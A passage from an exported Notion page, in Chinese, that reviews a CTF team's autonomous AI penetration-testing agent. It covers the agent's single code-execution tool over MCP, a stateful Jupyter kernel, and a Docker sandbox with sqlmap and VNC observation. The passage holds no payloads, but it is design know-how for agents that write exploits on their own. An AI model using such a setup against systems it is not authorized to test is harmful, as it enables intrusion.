1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">可借鉴之处</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c818285eff6cac4ceddd6" style="list-style-type:decimal"><li><b>问题驱动的设计</b> - 清晰识别核心问题是第一步</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c816f99afffa930aa47df" style="list-style-type:decimal"><li><b>多层架构的价值</b> - 分工明确比单打独斗更有效</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81b3a0dee58dde91b138" style="list-style-type:decimal"><li><b>噪音处理的重要性</b> - 沙箱清洗是值得学习的思路</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-30a0f0c5b87c81789b4cd5084ab5dd15" style="list-style-type:decimal"><li><b>代码优于对话</b> - 用代码实现逻辑比多轮对话更高效</li></ol><hr class="notion-hr notion-block-30a0f0c5b87c813ab17bd10775465cf3"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-30a0f0c5b87c81aba56df49b33fdf70c" data-id="30a0f0c5b87c81aba56df49b33fdf70c"><span><div id="30a0f0c5b87c81aba56df49b33fdf70c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81aba56df49b33fdf70c" title="Antix (成信大) - 第四名"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Antix (成信大) - 第四名</span></span></h3><div class="notion-text notion-block-30a0f0c5b87c81e39c35e0f690552067"><b>团队:</b> 成信大
<b>核心特色:</b> Meta-Tooling | Jupyter Kernel | 极简架构 | 代码即行动
<b>战队格言:</b> “简单的永远是最好的”</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8125b0f7eb5746afb2be" data-id="30a0f0c5b87c8125b0f7eb5746afb2be"><span><div id="30a0f0c5b87c8125b0f7eb5746afb2be" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8125b0f7eb5746afb2be" title="核心理念：极简主义"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心理念：极简主义</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81949c29fac0a339e8a9"><b>设计哲学：</b> Antix团队推崇极简设计，充分发挥核心模型能力，拒绝过度复杂化。</div><div class="notion-text notion-block-30a0f0c5b87c81fdb5b7da4adecaa9c9"><b>核心理念：</b></div><blockquote class="notion-quote notion-block-30a0f0c5b87c814a9605de47d3c47802"><div>让AI直接生成意图和执行代码
上下文干净噪音少
效率高</div></blockquote><div class="notion-text notion-block-30a0f0c5b87c812f8490e87463ba90a9"><b>代码规模：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8103a2ecf9af628357de"><li>Agent本身代码仅 <b>100-200行</b></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c811cab14d9eb8c39fde6"><li>被称为”Baby Runtime”</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81acbb04cafda7cbb6f3"><li>极致精简，功能强大</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81339b1bea1cf88b5e67" data-id="30a0f0c5b87c81339b1bea1cf88b5e67"><span><div id="30a0f0c5b87c81339b1bea1cf88b5e67" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81339b1bea1cf88b5e67" title="核心解决方案：Meta-Tooling (元工具模式)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心解决方案：Meta-Tooling (元工具模式)</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81308a14e1244fe22c4c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen04_meta_tooling-20260217113443-ofeng54.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-8130-8a14-e1244fe22c4c" alt="生成图片 - Meta-Tooling工作流程" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c8157822cf19429acb786">生成图片 - Meta-Tooling工作流程</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81da90a7ce5a6fae6386"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image41-20260217113443-f16d9lp.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81da-90a7-ce5a6fae6386" alt="Antix - Jupyter Kernel状态管理" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81279ac9dbefe8144a40">Antix - Jupyter Kernel状态管理</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c810382fbe475225ea2a2" data-id="30a0f0c5b87c810382fbe475225ea2a2"><span><div id="30a0f0c5b87c810382fbe475225ea2a2" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c810382fbe475225ea2a2" title="单一接口原则"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">单一接口原则</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81c4b9ffd48e9421203d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/gen02_mcp_workflow-20260217113443-wed962l.jpg?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81c4-b9ff-d48e9421203d" alt="生成图片 - MCP协议工作流程" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81b583c1d80f82ae68f7">生成图片 - MCP协议工作流程</div><div class="notion-text notion-block-30a0f0c5b87c816db1b5c5ab8401adf7">通过MCP协议，系统只向Agent暴露<b>一个核心功能</b>：</div><div class="notion-text notion-block-30a0f0c5b87c81d5a14bffe19cf1990f"><b>工作流程：</b></div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c810fbf83ddc41dd4d25e" data-id="30a0f0c5b87c810fbf83ddc41dd4d25e"><span><div id="30a0f0c5b87c810fbf83ddc41dd4d25e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c810fbf83ddc41dd4d25e" title="代码即行动"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">代码即行动</span></span></h4><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-30a0f0c5b87c81ffad19c297280f66d3"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/cdxiaodong/notion-images@main/ai-penetration/image45-20260217113443-lu6bmcp.png?spaceId=d5c91784-5a22-4891-81bf-25a192d4daea&amp;t=30a0f0c5-b87c-81ff-ad19-c297280f66d3" alt="Antix - Meta-Tooling工具调用模式" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-30a0f0c5b87c81a79087eb4ef9f4cc13">Antix - Meta-Tooling工具调用模式</div><div class="notion-text notion-block-30a0f0c5b87c815bbc4ec92f03ccfb39">Agent不再直接调用扫描器，而是编写Python脚本：</div><div class="notion-text notion-block-30a0f0c5b87c811abe76eb46f2a7bb41"><b>能力提升：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8102bb88f883ceb19a40"><li>✅ 组合工具 - 脚本可以同时调用多个工具</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c8811aca8ef63022f0"><li>✅ 处理数据逻辑 - 复杂的数据处理在代码中完成</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c817b8e87d0aa4fcb89ed"><li>✅ 现场写Exploit - 遇到新漏洞可以立即编写利用代码</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81769a1dd7bf363e0432"><li>✅ 无限灵活性 - 不受预定义工具集限制</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c812998eec9384f92a82c" data-id="30a0f0c5b87c812998eec9384f92a82c"><span><div id="30a0f0c5b87c812998eec9384f92a82c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c812998eec9384f92a82c" title="Antix沙盒 (Antix Sandbox)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Antix沙盒 (Antix Sandbox)</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ed84e5d85fee62ef37" data-id="30a0f0c5b87c81ed84e5d85fee62ef37"><span><div id="30a0f0c5b87c81ed84e5d85fee62ef37" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ed84e5d85fee62ef37" title="定制化的Ubuntu Docker"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">定制化的Ubuntu Docker</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81038857e9980f76db24"><b>核心特性：</b> 专为AI设计的渗透环境，而非传统的Kali。</div><div class="notion-text notion-block-30a0f0c5b87c814f84dbe6a802617aa8"><b>预装工具：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812586dce911a3b9b571"><li>sqlmap - SQL注入自动化</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8111bff1f6e730fd273d"><li>CAIDO - 流量代理与分析</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81049984c2821cc607d6"><li>其他常用渗透工具</li></ul><div class="notion-text notion-block-30a0f0c5b87c81a6aabdf29b5a1351a4"><b>流量监控机制：</b></div><div class="notion-text notion-block-30a0f0c5b87c81878c1fc7a26633fc6f"><b>VNC可视化：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8127afc7c3ef58bd538a"><li>虽然是给AI用的，但人类可以通过VNC实时连接进去</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a0ba11e8ef59e0edae"><li>“看着”AI操作终端和浏览器</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c812a92c1ecdc39613d1e"><li>实现很好的”人机对齐”</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8129bf82e769bd0fa088" data-id="30a0f0c5b87c8129bf82e769bd0fa088"><span><div id="30a0f0c5b87c8129bf82e769bd0fa088" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8129bf82e769bd0fa088" title="执行层：Stateful Jupyter Kernel"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">执行层：Stateful Jupyter Kernel</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c813194bce789c75f86a3" data-id="30a0f0c5b87c813194bce789c75f86a3"><span><div id="30a0f0c5b87c813194bce789c75f86a3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c813194bce789c75f86a3" title="会话持久化机制"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">会话持久化机制</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c8125ac6dd6b92979e93d"><b>核心创新：</b> Python Executor本质上是一个<b>有状态的Jupyter Kernel</b>。</div><div class="notion-text notion-block-30a0f0c5b87c815585a9d1722ca220ee"><b>工作原理：</b></div><div class="notion-text notion-block-30a0f0c5b87c81af81c5fece0be9928d"><b>解决的问题：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d382e9f2ab9a1c9c95"><li>✅ 完美解决Cookie和登录态保持</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c813e95a9d2bd5922063a"><li>✅ 变量在多轮对话中持久存在</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81008f25f5768403e69c"><li>✅ 符合编程逻辑，更自然</li></ul><div class="notion-text notion-block-30a0f0c5b87c814c9975c093e1136c83"><b>对比传统方案：</b></div><div class="notion-text notion-block-30a0f0c5b87c8131b571daabdc5d60cd"><b>潜在风险与缓解：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81abbcc8c8e5a7f3827d"><li>⚠️ Kernel崩溃导致状态丢失 → 定期checkpoint到磁盘</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81d590acea26d7080aa5"><li>⚠️ 内存泄漏长期运行 → 每50轮自动重启Kernel</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ae827adef58fc1a3dd"><li>⚠️ 并发冲突 → 单会话串行化</li></ul><div class="notion-text notion-block-30a0f0c5b87c81049910f7a96ed4b0ef"><b>实践证明：</b> 在CTF场景下，风险可控且收益明显</div><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c817da4b3d7757b06e093" data-id="30a0f0c5b87c817da4b3d7757b06e093"><span><div id="30a0f0c5b87c817da4b3d7757b06e093" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c817da4b3d7757b06e093" title="Agent层：极简逻辑"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Agent层：极简逻辑</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81a9a08fe916f078fd43"><b>代码规模：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8115a3c4ca499919f136"><li>Agent本身代码仅 <b>100-200行</b></li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8153a3a4c7609ffe551c"><li>称为”Baby Runtime”</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8145a3a4df6e807ad554"><li>核心逻辑极其简单</li></ul><div class="notion-text notion-block-30a0f0c5b87c818b9c80c93f735696f4"><b>纯自主驱动：</b></div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8160bf6cdbec8297aaac"><li>没有预设的主动扫描SOP</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81668bc2d5fd5a40e7e0"><li>完全依赖LLM阅读环境文档后自主决策</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c8157abf6e4b2862417c9" data-id="30a0f0c5b87c8157abf6e4b2862417c9"><span><div id="30a0f0c5b87c8157abf6e4b2862417c9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c8157abf6e4b2862417c9" title="核心优点分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">核心优点分析</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81139645fe95590a6958" data-id="30a0f0c5b87c81139645fe95590a6958"><span><div id="30a0f0c5b87c81139645fe95590a6958" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81139645fe95590a6958" title="1. 极高的灵活性 (Infinite Flexibility via Code)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1. 极高的灵活性 (Infinite Flexibility via Code)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c818aafb5f873f02249bd">通过<code class="notion-inline-code">execute_code</code>，Agent不受限于预定义的工具集：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c815fa730fb7a7210bbcc"><li>应对未知复杂场景的能力极强</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81249b17e4c33b97aee1"><li>不受工具集限制</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81ad88a5ee88a5efc77e"><li>无限扩展可能</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c818381f7cc7518974a6b" data-id="30a0f0c5b87c818381f7cc7518974a6b"><span><div id="30a0f0c5b87c818381f7cc7518974a6b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c818381f7cc7518974a6b" title="2. 真正的状态保持 (Stateful Interaction)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2. 真正的状态保持 (Stateful Interaction)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c811fb5c0e2348d036aa0">利用Jupyter Kernel的特性，实现天然的上下文记忆：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81778b1ac742863dfb37"><li>更高效、更符合编程逻辑的做法</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81e59049c8248525dfe5"><li>变量停留在内存中</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81ff8a76d8d0c6947065" data-id="30a0f0c5b87c81ff8a76d8d0c6947065"><span><div id="30a0f0c5b87c81ff8a76d8d0c6947065" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81ff8a76d8d0c6947065" title="3. 零调优的通用性 (Generalization)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 零调优的通用性 (Generalization)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81b5a08ad698e0ed0f4f">系统没有针对CTF题目做特定的Fine-tuning：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81f1a9cdc827cbacb211"><li>只给Agent一份”说明书”（200多行Prompt）</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c8180b223cc129b6bca85"><li>让AI像人类研究员一样思考和尝试</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81a1acc6de951a059b8e"><li>证明了在未知目标上的实战潜力</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81edaccfc037d9aeb6f0" data-id="30a0f0c5b87c81edaccfc037d9aeb6f0"><span><div id="30a0f0c5b87c81edaccfc037d9aeb6f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81edaccfc037d9aeb6f0" title="4. 清晰的可观测性 (Observability)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. 清晰的可观测性 (Observability)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81e88faaf76d8d08d57a">结合VNC可视化和CAIDO流量代理：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c78a74d1b6a9137d2d"><li>解决了”AI到底在干什么”的黑盒问题</li></ul><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81798713c04406d94abe"><li>人类可随时介入或复盘</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81738b58f3d8242dfaf5" data-id="30a0f0c5b87c81738b58f3d8242dfaf5"><span><div id="30a0f0c5b87c81738b58f3d8242dfaf5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81738b58f3d8242dfaf5" title="5. 架构解耦 (Decoupled Architecture)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. 架构解耦 (Decoupled Architecture)</span></span></h4><div class="notion-text notion-block-30a0f0c5b87c81fda922d0bdc5bcbf88">通过MCP协议，Agent（大脑）与Sandbox（手脚）完全解耦：</div><ul class="notion-list notion-list-disc notion-block-30a0f0c5b87c81c49f73d9c2d9ed94ef"><li>可随意升级大脑或手脚，互不影响</li></ul><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-30a0f0c5b87c81a0b363c87c37263b81" data-id="30a0f0c5b87c81a0b363c87c37263b81"><span><div id="30a0f0c5b87c81a0b363c87c37263b81" class="notion-header-anchor"></div><a class="notion-hash-link" href="#30a0f0c5b87c81a0b363c87c37263b81" title="成本与效果分析"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 